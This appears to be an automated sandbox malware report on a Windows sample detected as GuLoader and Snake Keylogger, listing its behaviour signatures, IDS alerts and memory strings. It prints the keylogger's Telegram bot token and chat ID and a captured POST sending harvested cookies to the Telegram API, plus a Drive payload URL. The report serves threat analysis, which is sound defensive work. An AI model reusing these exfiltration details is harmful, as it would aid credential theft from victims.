Edit tour

Windows Analysis Report
axN56TZ3PI.exe

Overview

General Information

Sample name:	axN56TZ3PI.exe
Analysis ID:	1632315
MD5:	7cb23ee1dedd35c01d1cf539667d4d99
SHA1:	70f8e5fd9d4a78c78eb38e87c5482c763844a6e1
SHA256:	6db4fae76289918ad6c528e7d4d8e36484c2694b6e41775b0a3ccc2499f1b1da
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64native

axN56TZ3PI.exe (PID: 4624 cmdline: "C:\Users\user\Desktop\axN56TZ3PI.exe" MD5: 7CB23EE1DEDD35C01D1CF539667D4D99)

axN56TZ3PI.exe (PID: 8888 cmdline: "C:\Users\user\Desktop\axN56TZ3PI.exe" MD5: 7CB23EE1DEDD35C01D1CF539667D4D99)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7490462916:AAEz89H3J9AylfxjXRLV5diILDx9KkgRSME", "Chat_id": "7160883909", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.6015919161.0000000038091000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000C.00000002.6015919161.00000000381D3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2039834509.00000000053C9000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: axN56TZ3PI.exe PID: 8888	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: axN56TZ3PI.exe PID: 8888	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:28:04.212164+0100	2803305	3	Unknown Traffic	192.168.11.20	49725	104.21.64.1	443	TCP
2025-03-07T22:28:05.253512+0100	2803305	3	Unknown Traffic	192.168.11.20	49726	104.21.64.1	443	TCP
2025-03-07T22:28:06.297982+0100	2803305	3	Unknown Traffic	192.168.11.20	49727	104.21.64.1	443	TCP
2025-03-07T22:28:07.302172+0100	2803305	3	Unknown Traffic	192.168.11.20	49728	104.21.64.1	443	TCP
2025-03-07T22:28:08.314607+0100	2803305	3	Unknown Traffic	192.168.11.20	49729	104.21.64.1	443	TCP
2025-03-07T22:28:09.341806+0100	2803305	3	Unknown Traffic	192.168.11.20	49730	104.21.64.1	443	TCP
2025-03-07T22:28:10.371224+0100	2803305	3	Unknown Traffic	192.168.11.20	49731	104.21.64.1	443	TCP
2025-03-07T22:28:11.438451+0100	2803305	3	Unknown Traffic	192.168.11.20	49732	104.21.64.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:28:01.594269+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49723	132.226.8.169	80	TCP
2025-03-07T22:28:03.421984+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49723	132.226.8.169	80	TCP
2025-03-07T22:28:04.531296+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49723	132.226.8.169	80	TCP
2025-03-07T22:28:05.577894+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49723	132.226.8.169	80	TCP
2025-03-07T22:28:06.624562+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49723	132.226.8.169	80	TCP
2025-03-07T22:28:07.624436+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49723	132.226.8.169	80	TCP
2025-03-07T22:28:08.655253+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49723	132.226.8.169	80	TCP
2025-03-07T22:28:09.686360+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49723	132.226.8.169	80	TCP
2025-03-07T22:28:10.717336+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49723	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:27:56.346316+0100	2803270	2	Potentially Bad Traffic	192.168.11.20	49721	142.251.46.174	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:28:19.744276+0100	1810008	1	Potentially Bad Traffic	192.168.11.20	49734	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:28:12.914209+0100	1810007	1	Potentially Bad Traffic	192.168.11.20	49733	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7490462916:AAEz89H3J9AylfxjXRLV5diILDx9KkgRSME/sendDocument?chat_id=7160883909&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5d95116c0067Host: api.telegram.orgContent-Length: 2073

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 07 Mar 2025 21:28:12 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: axN56TZ3PI.exe, 0000000C.00000002.6021727103.0000000070F81000.00000020.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://beta.visualstudio.net/net/sdk/feedback.asp
Source: axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2164090884.0000000007A74000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6005311017.0000000007A72000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2416797592.0000000007A72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2164090884.0000000007A74000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6005311017.0000000007A72000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2416797592.0000000007A72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: axN56TZ3PI.exe, axN56TZ3PI.exe, 0000000C.00000002.5983190270.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: axN56TZ3PI.exe, 00000000.00000002.2038365787.0000000000409000.00000004.00000001.01000000.00000003.sdmp, axN56TZ3PI.exe, 00000000.00000000.905869776.0000000000409000.00000008.00000001.01000000.00000003.sdmp, axN56TZ3PI.exe, 0000000C.00000002.5983190270.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2164090884.0000000007A74000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6005311017.0000000007A72000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2416797592.0000000007A72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: axN56TZ3PI.exe, 0000000C.00000003.2126524447.0000000007ABB000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://c2rsetup.officeapps.live.com/c2r/download.aspx?productReleaseID=HomeBusiness2019Retail&platf
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.stubdownloader.services.mozilla.com/builds/firefox-latest-ssl/en-GB/win64/b5110ff5d41570
Source: axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000381A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000381A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en$
Source: axN56TZ3PI.exe, 0000000C.00000002.6015919161.000000003819B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBFr
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B9AB9339B
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-GB&attribution_code=c291cm
Source: axN56TZ3PI.exe, 0000000C.00000003.2164090884.0000000007A74000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6005311017.0000000007A72000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2416797592.0000000007A72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: axN56TZ3PI.exe, 0000000C.00000003.2126524447.0000000007ABB000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6005311017.0000000007A4F000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6005311017.0000000007A47000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2164090884.0000000007A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1ivLDAHuepFQ0Eiv_QNfq2F2eHEBNobhp&export=download
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000390B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000390B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000390B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292K
Source: axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000382B5000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000382B7000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000382A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000382B5000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000382A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000382B5000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000382A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2164090884.0000000007A74000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6005311017.0000000007A72000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2416797592.0000000007A72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://packetstormsecurity.com/https://packetstormsecurity.com/files/download/22459/BIOS320.EXEhttp
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u301-b09/d3c52aa6bfa54d3ca74e617f18309292/JavaSetup8u301
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392CD000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392CD000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039441000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039429000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000393F3000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039297000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.000000003921E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txt
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392CD000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txt/
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txtD
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392CD000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com/
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039441000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000393F3000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039297000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.000000003921E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com;
Source: axN56TZ3PI.exe, 0000000C.00000003.2126524447.0000000007ABB000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT
Source: axN56TZ3PI.exe, 0000000C.00000002.6015919161.0000000038372000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000382B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000390B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000390B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeQ
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/autoit/download
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039441000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000393F3000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039297000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.000000003921E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/:
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392CD000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/Download
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/https://eicar.org/https://www.eicar.org/download-anti-malware-testfile/https:/
Source: axN56TZ3PI.exe, 0000000C.00000003.2126524447.0000000007ABB000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: axN56TZ3PI.exe, 0000000C.00000003.2126524447.0000000007ABB000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392CD000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039441000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039429000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000393F3000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039297000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.000000003921E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039429000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000393F3000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039297000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.000000003921E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/next-steps.html?brand=CHWL&statcb=0&installdataindex=empty&defaultbrow
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-n
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000390B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039429000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000393F3000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039297000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.000000003921E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=eicar
Source: axN56TZ3PI.exe, 0000000C.00000003.2126524447.0000000007ABB000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: axN56TZ3PI.exe, 0000000C.00000003.2126524447.0000000007ABB000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126410147.0000000007A78000.00000004.00000020.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000003.2126554046.0000000007A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-release
Source: axN56TZ3PI.exe, 0000000C.00000002.6017612007.0000000039277000.00000004.00000800.00020000.00000000.sdmp, axN56TZ3PI.exe, 0000000C.00000002.6017612007.00000000392D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-releasehttps://www.mozilla.org/en-GB/fire
Source: axN56TZ3PI.exe, 0000000C.00000002.6015919161.00000000381CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lBFr

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
